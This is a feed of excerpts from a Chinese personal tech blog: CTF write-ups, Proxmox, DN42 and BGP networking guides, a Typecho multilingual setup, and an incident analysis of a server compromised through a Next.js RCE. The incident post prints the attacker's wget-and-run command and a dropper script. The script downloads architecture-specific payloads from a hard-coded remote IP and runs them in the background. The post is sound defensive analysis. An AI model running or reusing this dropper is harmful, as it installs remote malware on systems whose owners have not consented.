悠笙の开发日记 - KaguraiYoRoy
type: channel
link: https://www.iyoroy.cn/author/1/
description: KaguraiYoRoy
items: PolarCTF 2025冬季赛 Web Polarflag WriteUp
items: 记服务器因CVE-2025-66478,CVE-2025-55182被挂RCE的逆向分析经历
items: 记一次手动安装Proxmox VE, 配置多路iSCSI与NAT转发的经历
items: 2025古剑山 Misc 水果 WriteUp
items: 为Typecho配置简易多语言方案
items: DN42&OneManISP - 共存环境下的OSPF源地址故障排除
items: 2025羊城杯初赛WriteUp
items: DN42&OneManISP - 使用VRF实现公网BGP和DN42共用一台机器
items: 通过PBR为双网卡VPS配置多出口路由
items: OneManISP - Ep.2 向世界宣告我们自己的IP段

PolarCTF 2025冬季赛 Web Polarflag WriteUp
type: item
date: 2025-12-06T23:55:30+00:00
description: 打开网页，可发现是一个登录页： 尝试通过dirsearch扫描，得到： Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed 发现/flag.txt，访问： <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> 尝试运行，发现语法错误，修正： ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; 运行，得到：the_username_is_polar，提示我们用户名是polar。同时，题目附件提供了一个字典wordlist.txt，尝试使用BurpSuite爆破： 爆破发现当密码为6666的时候会跳转到/polar.php： 访问/polar.php，得到： <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // 初始化会话变量 if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } //想赢的人脸上是没有笑容的 if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_PO…

记服务器因CVE-2025-66478,CVE-2025-55182被挂RCE的逆向分析经历
type: item
date: 2025-12-06T15:53:00+00:00
description: 背景 周六傍晚休息的时候阿里云突然给打电话，说服务器可能受到黑客入侵。上阿里云控制台看了一眼： 担心的事情还是发生了，近期披露的CVE-2025-55182漏洞可以被RCE，服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami，但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像，执行了一个远程的Shell脚本。 作为一个CTFer，这送上门的样本不研究一下说不过去吧（ 分析 脚本 阿里云给出的警告可以看到执行shell脚本： /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh： export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&…

记一次手动安装Proxmox VE, 配置多路iSCSI与NAT转发的经历
type: item
date: 2025-11-29T09:39:00+00:00
description: 起因是租了一台物理机, 然后IDC那边没有提供PVE和Debian系统镜像, 只有Ubuntu、CentOS、Windows系列. 同时数据盘是通过多路iSCSI提供的. 我希望使用PVE来对不同使用场景进行隔离, 因此尝试重装并迁移上述配置. 备份配置 首先对系统做个大致的检查, 可发现: 系统存在两张网卡, 一张enp24s0f0接入了公网地址, 用于外部访问; 一张enp24s0f1接入了192.168.128.153的私网地址 数据盘被映射为了/dev/mapper/mpatha /etc/iscsi下存在两个iSCSI Node的配置, 分别为192.168.128.250:3260、192.168.128.252:3260, 但是二者都对应iqn.2024-12.com.ceph:iscsi. 不难推断出, 数据盘挂载是通过同时配置两个iSCSI Node, 再使用多路的方式合并成一个设备. 查看一下系统的网络配置: network: version: 2 renderer: networkd ethernets: enp24s0f0: addresses: [211.154.[数据删除]/24] routes: - to: default via: [数据删除] match: macaddress: ac:1f:6b:0b:e2:d4 set-name: enp24s0f0 nameservers: addresses: - 114.114.114.114 - 8.8.8.8 enp24s0f1: addresses: - 192.168.128.153/17 match: macaddress: ac:1f:6b:0b:e2:d5 set-name: enp24s0f1 发现就是非常简单的静态路由, 内网网卡甚至没有默认路由, 直接绑定IP即可. 然后将/etc/iscsi下iSCSI的配置文件保存一下, 其中包含了账户密码等信息 重装Debian 此次使用的是bin456789/reinstall重装脚本. 下载脚本: curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_ 重装成Debian 13: bash reinstall.sh debian 13 然后根据提示输入你想要设置的密码即可 如果不出意外的话, 等待10分钟左右, 会自动完成并重装成一个纯净的Debian 13. 中途可以通过ssh配合设置的密码连接, 查看安装进度. 重装完成后按照惯例进行一个换源和apt upgrade, 即可得到一个纯净的Debian 13啦 换源直接参考USTC镜像站的教程即可 安装Proxmox VE 这一步主要参考Proxmox官方的教程即可 需要注意，上述脚本安装的Debian会将主机名设置为localhost，你如果想要修改的话请在配置Hostname前修改并将hosts中的主机名改成你修改的主机名而非localhost 配置Hostname Proxmox VE要求为当前的主机名配置一个指向非回环地址的Hosts: The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like 127.0.0.1 but one that you and other hosts can connect to. 比如此处我的服务器IP为211.154.[数据删除], 我需要在/etc/hosts中添加如下的一条记录: 127.0.0.1 localhost +211.154.[数据删除] localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 保存后, 使用hostname --ip-address检查是否会输出设置的非回环地址: ::1 127.0.0.1 211.154.[数据删除] 添加Proxmox VE软件源 Debian 13使用了Deb822格式当然你想用sources.list也可以, 因此直接参考USTC的Proxmox镜像站即可: cat > /etc/apt/sources.list.d/pve-no-subscription.sources <<EOF Types: deb URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pv…

2025古剑山 Misc 水果 WriteUp
type: item
date: 2025-11-29T06:02:00+00:00
description: 通过010 editor打开文件，发现末端存在ZIP头： 提取出来，打开发现无密码，是一串base64： [binary] 解码得到： 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 同时，发现导出的zip末端仍然有一部分未识别的数据： 根据其1A 9E 97 BA 2A可推测这是OurSecret隐写，通过OurSecret工具打开，发现需要密码。尝试发现密码就是shuiguo，可解出来一个txt： 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 发现和上面解压出来的是一条条对应的。因为上面解压出来的语句是16条，推测是16进制，分别是0-f，然后将OurSecret解密出来的内容分别对应成16进制数，可得到：666c61677b33653235393630613739646263363962363734636434656336376137326336327d。 编写python脚本，2个一组按照ascii转换成字符： hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) 得到Flag：flag{3e25960a79dbc69b674cd4ec67a72c62}

为Typecho配置简易多语言方案
type: item
date: 2025-11-19T14:10:00+00:00
description: 想着给博客做一下国际化支持，为每篇文章和每个页面单独配置一个英文版本，但是上网查了一圈发现Typecho对国际化的支持并不好，最终自己设计了一套方案，写这篇文章记录下来 本文默认你对PHP、Nginx、Typecho的基础逻辑有部分了解 分析 需求 需要为每个文章和页面都配置中英双语 需要配置一个语言选择器，使得前端可以快速切换语言 需要搜索引擎可以正确识别并收录多语言版本的文章 大致方案 中英文文章的区分大致有这两种方案： 作为一个单独的参数，如访问文章时用/?lang=zh-CN和/?lang=en-US来区分，但是这种方案实现起来比较困难，同时对搜索引擎收录也不太好； 通过URL路径区分，如访问https://<host>/article是中文页面，访问https://<host>/en/article是英文页面，这种配置起来比较简单，直接分成两个Typecho实例即可，并且对搜索引擎友好。问题是评论和浏览量统计需要手动同步。 总结下来，我选择了第二种方案，并且打算直接通过在/en/新建一个Typecho实例实现多语言支持。 具体实现 首先将博客实例复制两份，一份中文一份英文，然后分别翻译成英文； 修改前端代码，实现语言选择器； 要保证两边文章URL只有一个/en之差，就得保证中文站点和英文站点文章的cid相同，而这个cid是根据创建文章和附件的顺序来的，因此打算编写一个同步插件，中文端发文章的时候自动在英文数据库中插入一条对应cid的文章； 改写SiteMap插件，因为sitemap不能既包含页面链接又包含其他sitemap的引用，因此主站需要创建两个sitemap，一个是收录中文站页面的主sitemap，另一个是索引，负责索引中文和英文的sitemap； 在 中添加hreflang属性来告知搜索引擎如何处理多语言； 将英文端的访问量和点赞量链接到中文的数据库； 将英文端的评论链接到中文数据库。 开整 创建英文实例 将整个网站复制一份，放在原先的网站根目录的/en/文件夹下，同时将数据库也复制一份，我这里命名成typecho_en。 接着，分别为两个实例配置伪静态： location /en/ { if (!-e $request_filename) { rewrite ^(.*)$ /en/index.php$1 last; } } location / { if (!-e $request_filename) { rewrite ^(.*)$ /index.php$1 last; } } 关于为什么要将中文的主实例也用location括起来，是因为实际测试的时候发现如果不括起来就会将英文实例也当作中文实例的一部分解析，造成404。 同时，修改<webroot>/en/config.inc.php里的数据库配置，指向英文实例的数据库。 这个时候，访问<host>/en/应该能看到一个和中文主站一模一样的站点。 修改Typecho语言 这一步其实感觉可以不要，因为基本上前端页面的语言都是由主题决定的，将Typecho本身语言设置为英文没什么大用，但是为了统一，还是选择改了一下（这样可以一眼看出来是哪个实例的后台（笑）） 直接参考GitHub上typecho官方的多语言支持即可，从Release里下载语言包，然后解压到<webroot>/en/usr/langs/下，然后进入https://<host>/en/admin/options-general.php，就能看见语言设置选项，改为English即可。 修改主题语言 最繁琐的一步，我使用的是Joe，进入<webroot>/en/usr/themes/Joe，将所有你能看到的显示相关的中文都翻译成英文，这里没什么非常方便的方法，用翻译工具的话翻出来会很别扭，我还是选择了手动翻译。 需要注意的是，有一部分的前端配置是在js中的，不止是PHP源文件，这些都需要翻译。 翻译文章 这一步没啥好说的，把/en/下的文章一篇篇翻译成英文，保存 配置文章同步发布 这一步是为了保持两边文章的cid同步，因为cid和访问url有关，保持cid同步可以使下文配置语言选择器一步更加简单，只要在host后加个/en或者去掉就行了。 cid是数据库中typecho_contents表的一个自增字段，同时也是主键，他的分配和typecho的文章、附件等有关。因为上传的文件也会占用cid，而我打算将所有附件都上传到中文站，因此如果不做特殊处理两边的cid容易匹配不上，增加后续工作量。 因此我选择的方案是用AI编写一个插件，当中文站发布文章的时候自动触发，读取中文站为其分配的cid并写入到英文站的数据库中。 创建文件<webroot>/usr/plugins/SyncToEnglish/Plugin…

DN42&OneManISP - 共存环境下的OSPF源地址故障排除
type: item
date: 2025-10-29T12:42:00+00:00
description: 前情提要 正如这个系列的上文所说，因为VRF方案太过于隔离，导致我部署在HKG节点（172.20.234.225）的DNS服务无法被DN42网络所访问，查阅资料得知可以通过设置veth或者NAT地址转发的方式来实现，但是因为现有的资料比较少，最终还是放弃了VRF这个方案。 结构分析 这次我打算将DN42和公网BGP的路由都放入系统的主路由表，然后再分开导出，通过过滤器来区分是否应该导出。同时，为了更加直观，我将DN42部分的配置和公网（以下简称inet）部分的配置分别单独存放，再由主配置文件引入。同时，因为kernel部分配置一个路由表只应该存在一个，因此合并DN42和inet的kernel部分，仅保留一个。 经过多次优化和修改，我最终的目录结构如下： /etc/bird/ ├─envvars ├─bird.conf: Bird主配置文件，负责定义基本信息（ASN、IP等），引入下面的子配置 ├─kernel.conf: 内核配置，负责将路由导入系统路由表 ├─dn42 | ├─defs.conf: DN42的函数定义，如is_self_dn42_net()这类 | ├─ibgp.conf: DN42 iBGP模板 | ├─rpki.conf: DN42 RPKI路由验证 | ├─ospf.conf: DN42 OSPF内网 | ├─static.conf: DN42静态路由 | ├─ebgp.conf: DN42 Peer模板 | ├─ibgp | | └<ibgp configs>: DN42 iBGP各个节点的配置 | ├─ospf | | └backbone.conf: OSPF区域 | ├─peers | | └<ibgp configs>: DN42 Peer各个节点的配置 ├─inet | ├─peer.conf: 公网Peer | ├─ixp.conf: 公网IXP接入 | ├─defs.conf: 公网部分的函数定义，如is_self_inet_v6() | ├─upstream.conf: 公网上游 | └static.conf: 公网静态路由 将定义函数的部分单独拿出来是因为我需要在kernel.conf的过滤器中引用，因此单独拿出来以便于提前include。 完成后分别填入对应配置，然后由写好include关系，birdc configure后发现也成功跑起来了。于是乎告一段落...吗? 发现问题 运行一段时间后，我突然发现通过我的内网设备Ping HKG节点无法Ping通，通过HKG节点Ping我的其他内部节点也无法Ping通。奇怪的是，外部AS可以通过我的HKG节点Ping到我的其他节点或者其他外部AS，我的内部节点也可以通过HKG节点Ping到其他不直接相连的节点（如：226(NKG)->225(HKG)->229(LAX)）。 通过ip route get <内网其他节点地址>发现： root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226 172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0 cache 看出问题了吗？src地址本来应该是HKG节点自己的DN42地址（OSPF部分stub网卡配置的），但是这里显示的却是HKG节点的公网地址。 尝试通过birdc s r for 172.20.234.226读取bird学习到的路由： root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226 BIRD 2.17.1 ready. Table master4: 172.20.234.226/32 unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226] via 172.20.234.226 on dn42_nkg onlink 看起来貌似一切正常...? 理论上来说，虽然DN42的源IP和正常的不太一样，但是DN42在导出到内核的时候改写了krt_prefsrc来告诉内核正确的源地址，理论上不应该出现这样的问题： protocol kernel kernel_v4{ ipv4 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP; accept; }; }; } proto…

2025羊城杯初赛WriteUp
type: item
date: 2025-10-12T02:50:00+00:00
description: GD1 通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开，可找到游戏逻辑： extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() 发现当得分到达7906时会调用一个解密算法，将数组a的数据解密然后打印。尝试按照逻辑编写解密程序： #include <iostream> #include <st…

DN42&OneManISP - 使用VRF实现公网BGP和DN42共用一台机器
type: item
date: 2025-09-16T14:47:00+00:00
description: 背景 目前同一区域内公网BGP和DN42分别用了一台VPS，也就是说同一个区域需要两台机器。从群友那里得知了VRF，便想着通过VRF实现同一台机器同时处理公网BGP并加入DN42。 注意：VRF方案因为其隔离性，会导致DN42无法访问主机的服务。如果你需要在服务器上跑诸如DNS之类的服务给DN42用，你可能需要再单独配置端口转发或者veth，但是不在本文讨论范围内。（这也是我实际生产环境最终还是没有采用VRF的原因） VRF的优点 虽然说DN42使用的IP段是私有地址，并且它的ASN用的都是内部ASN，理论上不会和公网BGP相互干扰，但是如果共用同一张路由表，可能会造成路由污染、管理复杂等问题。 VRF（Virtual Routing and Forwarding，虚拟路由转发）可以实现在一台机器上创建多个路由表，也就是说我们可以通过它将DN42的路由单独放到一个路由表里，以实现将DN42路由表和公网路由表相隔离。这么做的优点有： 绝对的安全与策略隔离：DN42路由表和公网路由表相隔离，从根本上杜绝了路由泄露的可能性。 清晰的运维管理：可以使用birdc show route table t_dn42和birdc show route table t_inet来分别查看和调试两张完全独立的路由表，一目了然。 故障域隔离：若果DN42的某个对等体发生Flap，这些影响将被完全限制在dn42的路由表内，不会消耗公网实例的路由计算资源，也不会影响公网的转发性能。 更符合现代网络设计理念：在现代网络工程中，为不同的路由域（生产、测试、客户、合作伙伴）使用VRF是标准做法。它将你的设备逻辑上划分成了多个虚拟路由器。 配置 系统部分 创建VRF设备 使用以下指令创建一个名为dn42-vrf的VRF设备并关联到系统的1042号路由表： ip link add dn42-vrf type vrf table 1042 ip link set dev dn42-vrf up # 启用 路由表号可以按照你自己的喜好修改，但是请避开以下几个保留路由表编号： 名称 ID 说明 unspec 0 未指定，基本不用 main 254 主路由表，大多数普通路由都放在这里 default 253 一般不用，保留 local 255 本机路由表，存放127.0.0.1/8、本机 IP、广播地址等，不能改 将现有的相应网卡关联到VRF 按照我目前的DN42网络为例，有若干WireGuard网卡和一个dummy网卡是用于DN42的，因此将这几个网卡都关联到VRF中： ip link set dev <网卡名> master dn42-vrf 需要注意的是，网卡关联到VRF之后可能会丢失地址，因此需要重新为其添加一次地址，如： ip addr add 172.20.234.225 dev dn42 完成之后，通过ip a应该能看到对应网卡的master是dn42-vrf： 156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000 link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff inet 172.20.234.225/32 scope global dn42 valid_lft forever preferred_lft forever inet6 fd18:3e15:61d0::1/128 scope global valid_lft forever preferred_lft forever inet6 fe80::b4f5:28ff:feed:2304/64 scope link valid_lft forever preferred_lft forever 持久化 我使用了ifupdown2来实现开机自动加载dummy网卡和VRF设备。 auto dn42-vrf iface dn42-vrf inet manual vrf-table 1042 auto dn42 iface dn42 inet static pre-up ip link add $IFACE type dummy || true vrf dn42-vrf address <IPv4 Address>/32 address <IPv6 Address>/128 post-down ip link del $IFACE 我的dummy网卡名称为dn42，如果你的名称不一样请按需要修改。创建完后使用ifup dn42-vrf && ifup dn42即可启动dummy…

通过PBR为双网卡VPS配置多出口路由
type: item
date: 2025-09-14T09:07:00+00:00
description: 水文警告 背景 从朋友那里弄到一台深港IEPL机器，有两个网卡eth0和eth1，但是默认都走eth0，eth1没有配置路由。 我打算通过metric实现粗略的分流再通过PBR实现按照规则的路由配置。 配置 机器默认由cloudinit配置了网卡： # This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init's # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} network: version: 2 ethernets: eth0: addresses: - 10.10.1.31/16 gateway4: 10.10.0.1 match: macaddress: bc:24:11:f8:42:7a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth0 eth1: addresses: - 10.20.1.31/16 - [数据删除]/64 gateway4: 10.20.0.1 gateway6: fe80::be24:11ff:fe80:66bb match: macaddress: bc:24:11:50:96:0a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth1 备份一份配置之后加上metric： # This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init's # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} network: version: 2 ethernets: eth0: addresses: - 10.10.1.31/16 gateway4: 10.10.0.1 match: macaddress: bc:24:11:f8:42:7a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth0 + routes: + - to: "default" + via: "10.10.0.1" + # 设置 metric=50，作为备选出口 + metric: 50 eth1: addresses: - 10.20.1.31/16 - [数据删除]/64 gateway4: 10.20.0.1 gateway6: fe80::be24:11ff:fe80:66bb match: macaddress: bc:24:11:50:96:0a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth1 + routes: + - to: "default" + via: "10.20.0.1" + # 设置 metric=25，作为优先出口 + metric: 25 编写PBR配置： # /etc/netplan/90-pbr.yaml network: version: 2 ethernets: eth0: routes: - to: default via: 10.10.0.1 table: 10 routing-policy: - from: 10.10.0.0/16 table: 10 - to: 202.46.[数据删除]/32 table: 10 eth1: routes: - to:…

OneManISP - Ep.2 向世界宣告我们自己的IP段
type: item
date: 2025-08-20T15:59:00+00:00
description: 前言 上文我们已经成功注册了一个ASN并且拿到了一段IPv6地址，这次我们就来将这段地址广播给全世界。 在RIPE Database设置子网对象 需要注意的是，公网允许广播的最小IPv6前缀是/48，也就是说你如果只有一个/48地址你无法将其拆成更小的段。所以我后来又单独租用了一段/40，打算将其拆成多个/48来广播。 我获取到的IPv6为2a14:7583:f200::/40，打算拆出来2a14:7583:f203::/48用于给Vultr使用。如果你不需要拆段，请直接跳转到「创建路由信息」一节 拆段 首先打开Create "inet6num" object - RIPE Database，填入如下内容： inet6num: 打算拆出来的IP段，CIDR格式 netname: 网络名称 country: IP段所属国家，需要符合ISO 3166标准（RIPE DB里可以直接选择） admin-c: 上文创建的Role对象的主键值 tech-c: 上文创建的Role对象的主键值 status: ASSIGNED即可 此步骤将你获得的地址拆出来一个小的/48地址块。 创建路由信息 打开Create "route6" object - RIPE Database，填入如下内容： route6: 填写你打算广播播的IPv6地址块的CIDR格式 origin: 填写你申请到的ASN，包含AS前缀 此步骤声明允许你的ASN使用这段地址段来发BGP路由。 申请VPS的BGP Session接入 此次我使用的是Vultr家的机器，他们家的BGP Session算是很新手友好的了，有一套自己的验证系统；并且上游良好的过滤器保证了一般情况下即使发送了错误的路由表也不会影响到公网。 （此处我配置的时候忘记截图了，可以参考一下宝硕大佬的文章 年轻人的第一个 ASN 中的 申请 Vultr 的 BGP 广播功能 章节） 进入BGP - Vultr.com，选择Get Started之后按照要求填写你的ASN信息和IPv6地址块。LOA（Letter Of Authorization，授权信）可参考以下模板：LOA-template.docx（因为发现网上查到的都是以公司的名义写的，因此以个人名义重新写了一份） 完成后系统会自动创建一条工单，并且能看到我们的ASN和IP地址块处于待验证的状态： 点击Start，系统会向注册Role时填写的abuse-mailbox邮箱发送一封验证邮件： 收到的邮件如图所示： 其中，上面那个链接代表同意授权Vultr广播你的IP段，下面那个则是不同意。我们点击上面那个之后会进入Vultr的网页： 再点击Approve Announcement即可。ASN和IP段都需要验证一次。 接着，等待Vultr的工作人员审核完成后来到VPS的控制台，就能看到我们的BGP选项卡了，其中可以得到上游的信息： 此处不得不称赞一下Vultr的工单效率，我平均从创建工单申请授权到完成只花了10分钟左右。（反观之前在iFog GmbH，平均工作日工单回复时间1天左右实在是好太多了） 其他厂商的VPS大概都是这么个流程，你需要告诉工作人员你要播的ASN和IP段，在验证完所有权之后工作人员会为你配置对应的BGP Session。 广播！ 你应该已经从上游那里得到了以下信息： 上游的ASN 上游用于BGP Session的地址 （可选）密码 我用的操作系统是Debian12 Bookworm，使用Bird2作为路由软件，并且按照这篇文章中「更新Bird2至v2.16及以上」章节更新Bird2至最新版。Vultr那边给我的上游ASN是64515，上游用于BGP Session的地址是2001:19f0:ffff::1，VPS用于BGP Session的地址是2001:19f0:0006:0ff5:5400:05ff:fe96:881f。 我的Bird2配置文件修改自DN42中的配置文件： log syslog all; define OWNAS = 205369; # 自己的ASN define OWNIPv6 = 2a14:7583:f203::1; # 给机器绑定的单个IPv6地址 define OWNNETv6 = 2a14:7583:f203::/48; # 打算播的网段 define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ]; # 打算播的网段集合 router id 45.77.x.x; # 路由器ID，这里使用VPS的公网IPv4 protocol device { scan time 10; } function is_self_net_v6() { return net ~ OWNNETSETv6;…